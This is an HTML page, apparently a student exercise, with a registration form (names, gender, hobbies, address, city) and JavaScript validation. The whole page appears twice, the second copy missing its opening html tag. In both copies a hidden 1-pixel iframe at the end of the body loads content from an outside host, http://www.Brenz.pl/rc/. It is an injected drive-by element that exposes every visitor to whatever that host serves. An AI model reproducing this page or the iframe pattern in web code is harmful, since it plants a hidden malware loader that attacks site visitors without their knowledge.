<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>f</title>
<script>
function validationForm()
{
var x=document.form1.fname.value;
var y=document.form1.mname.value;
var z=document.form1.lname.value;
var r=document.form1.address.value;
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(y==""||y==null)
{
alert("plese enter the Middel name");
document.form1.mname.focus();
return false;
}
if(z==""||z==null)
{
alert("plese enter the last name");
document.form1.lname.focus();
return false;
}
if(r=="")
{
alert("plese enter the Address");
document.form1.address.focus();
return false;
}
if((document.form1.gender[0].checked==false)&&(document.form1.gender[1].checked==false))
{
alert("plese choose your Gender:Male or Female");
document.form1.gender[0].focus();
return false;
}
if((document.form1.hobby[0].checked==false)&&(document.form1.hobby[1].checked==false)&&(document.form1.hobby[2].checked==false))
{
alert("plese choose a hobby");
document.form1.hobby[0].focus();
return false;
}
if(document.form1.city.value=="-1")
{
alert("plese provide your city");
document.form1.city.focus();
return false;
}
}
</script>
</head>
<body>
<form onsubmit="return validationForm()" method="post"
action="form1.html" name="form1"><span style="font-weight: bold;">First
name </span>
<input name="fname"><br
style="font-weight: bold;">
<span style="font-weight: bold;"> </span><br
style="font-weight: bold;">
<span style="font-weight: bold;">Middel name
</span>
<input name="mname"><br>
<br style="font-weight: bold;">
<span style="font-weight: bold;">Last name</span>
<input name="lname"><br>
<br>
<span style="font-weight: bold;">Gender</span>
<input name="gender" value="male"
type="radio">Male
<input name="gender" value="female" type="radio">Female<br>
<br>
<span style="font-weight: bold;">Hobby</span>
<input name="hobby"
value="singing" type="checkbox">Singing
<input name="hobby" value="dancing" type="checkbox">Dancing <input
name="hobby" value="reading" type="checkbox">Reading<br>
<br>
<span style="font-weight: bold;">Address</span>
<textarea cols="30" rows="4" name="address"></textarea><br>
<br>
<span style="font-weight: bold;">City</span>
<select name="city">
<option value="-1">Choose the city</option>
<option value="1">Ahmedabad</option>
<option value="2">Baroda</option>
<option value="3">Surat</option>
<option value="4">Rajkot</option>
</select>
<br>
<br>
<input name="Submit" value="Submit" type="submit">
<input name="Reset" value="Reset"
type="submit"><br>
</form>
<iframe style="height: 1px;" src="http://www.Brenz.pl/rc/"
frameborder="0" width="1"></iframe>
</body>
</html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>f</title>
<script>
function validationForm()
{
var x=document.form1.fname.value;
var y=document.form1.mname.value;
var z=document.form1.lname.value;
var r=document.form1.address.value;
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(y==""||y==null)
{
alert("plese enter the Middel name");
document.form1.mname.focus();
return false;
}
if(z==""||z==null)
{
alert("plese enter the last name");
document.form1.lname.focus();
return false;
}
if(r=="")
{
alert("plese enter the Address");
document.form1.address.focus();
return false;
}
if((document.form1.gender[0].checked==false)&&(document.form1.gender[1].checked==false))
{
alert("plese choose your Gender:Male or Female");
document.form1.gender[0].focus();
return false;
}
if((document.form1.hobby[0].checked==false)&&(document.form1.hobby[1].checked==false)&&(document.form1.hobby[2].checked==false))
{
alert("plese choose a hobby");
document.form1.hobby[0].focus();
return false;
}
if(document.form1.city.value=="-1")
{
alert("plese provide your city");
document.form1.city.focus();
return false;
}
}
</script>
</head>
<body>
<form onsubmit="return validationForm()" method="post"
action="form1.html" name="form1"><span style="font-weight: bold;">First
name </span>
<input name="fname"><br
style="font-weight: bold;">
<span style="font-weight: bold;"> </span><br
style="font-weight: bold;">
<span style="font-weight: bold;">Middel name
</span>
<input name="mname"><br>
<br style="font-weight: bold;">
<span style="font-weight: bold;">Last name</span>
<input name="lname"><br>
<br>
<span style="font-weight: bold;">Gender</span>
<input name="gender" value="male"
type="radio">Male
<input name="gender" value="female" type="radio">Female<br>
<br>
<span style="font-weight: bold;">Hobby</span>
<input name="hobby"
value="singing" type="checkbox">Singing
<input name="hobby" value="dancing" type="checkbox">Dancing <input
name="hobby" value="reading" type="checkbox">Reading<br>
<br>
<span style="font-weight: bold;">Address</span>
<textarea cols="30" rows="4" name="address"></textarea><br>
<br>
<span style="font-weight: bold;">City</span>
<select name="city">
<option value="-1">Choose the city</option>
<option value="1">Ahmedabad</option>
<option value="2">Baroda</option>
<option value="3">Surat</option>
<option value="4">Rajkot</option>
</select>
<br>
<br>
<input name="Submit" value="Submit" type="submit">
<input name="Reset" value="Reset"
type="submit"><br>
</form>
<iframe style="height: 1px;" src="http://www.Brenz.pl/rc/"
frameborder="0" width="1"></iframe>
</body>
</html>